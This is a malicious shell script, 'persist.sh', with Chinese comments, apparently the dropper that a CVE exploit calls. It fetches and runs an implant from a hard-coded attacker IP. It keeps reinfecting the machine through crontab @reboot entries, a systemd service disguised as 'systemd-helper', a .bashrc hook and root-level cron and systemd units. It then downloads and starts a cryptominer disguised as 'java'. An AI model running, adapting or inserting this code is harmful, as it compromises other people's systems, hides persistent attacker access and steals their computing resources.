#!/bin/sh
# persist.sh v2 - 全链路自动化：植入体 + 持久化 + 矿工(java)
# 被 CVE exploit payload 调用: curl -fsSL http://207.57.122.131:8085/persist.sh -o /tmp/.p.sh && sh /tmp/.p.sh
URL="http://207.57.122.131:8085"

# ── 1) 立即上线植入体（自适应架构） ──
curl -fsSL "$URL/sx.sh" | sh 2>/dev/null

# ── 2) 持久化：用户级 cron（@reboot 计划任务） ──
(crontab -l 2>/dev/null | grep -v 'sx.sh'; echo "@reboot curl -fsSL $URL/sx.sh | sh") | crontab - 2>/dev/null

# ── 3) 持久化：用户级 systemd 服务 ──
mkdir -p "$HOME/.config/systemd/user" 2>/dev/null
cat > "$HOME/.config/systemd/user/systemd-helper.service" <<EOF
[Unit]
Description=System Helper
After=network.target

[Service]
Type=oneshot
ExecStart=/bin/sh -c "curl -fsSL $URL/sx.sh | sh"
RemainAfterExit=yes
Restart=on-failure
RestartSec=30

[Install]
WantedBy=default.target
EOF
systemctl --user enable --now systemd-helper.service 2>/dev/null

# ── 4) 持久化：shell 登录触发 ──
if ! grep -q 'sx.sh' "$HOME/.bashrc" 2>/dev/null; then
    echo "(curl -fsSL $URL/sx.sh | sh) >/dev/null 2>&1 &" >> "$HOME/.bashrc" 2>/dev/null
fi

# ── 5) 持久化：系统级（root 时） ──
if [ "$(id -u)" = "0" ]; then
    printf 'SHELL=/bin/sh\nPATH=/usr/sbin:/usr/bin:/sbin:/bin\n@reboot root curl -fsSL %s/sx.sh | sh\n' "$URL" > /etc/cron.d/0-system-helper 2>/dev/null
    chmod 644 /etc/cron.d/0-system-helper 2>/dev/null
    cat > /etc/systemd/system/systemd-helper.service <<EOF
[Unit]
Description=System Helper
After=network.target

[Service]
Type=oneshot
ExecStart=/bin/sh -c "curl -fsSL $URL/sx.sh | sh"
RemainAfterExit=yes

[Install]
WantedBy=multi-user.target
EOF
    systemctl daemon-reload 2>/dev/null
    systemctl enable systemd-helper.service 2>/dev/null
fi

# ── 6) 自动部署矿工（自适应：glibc 用 java，Alpine/musl 用 java-musl） ──
JAR=""
if [ -f /lib64/ld-linux-x86-64.so.2 ] || [ -f /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 ]; then
    JAR="$HOME/java"
    curl -fsSL "$URL/java" -o "$JAR" 2>/dev/null
else
    JAR="$HOME/java-musl"
    curl -fsSL "$URL/java-musl" -o "$JAR" 2>/dev/null
fi
chmod 755 "$JAR" 2>/dev/null
if [ -x "$JAR" ]; then
    pkill -f "java-musl" 2>/dev/null
    pkill -f "$JAR" 2>/dev/null
    (nohup "$JAR" >/dev/null 2>&1 &)
    (crontab -l 2>/dev/null | grep -v 'java-musl'; echo "17 * * * * $JAR >/dev/null 2>&1 || (nohup $JAR >/dev/null 2>&1 &)") | crontab - 2>/dev/null
fi

echo PERSIST_DONE
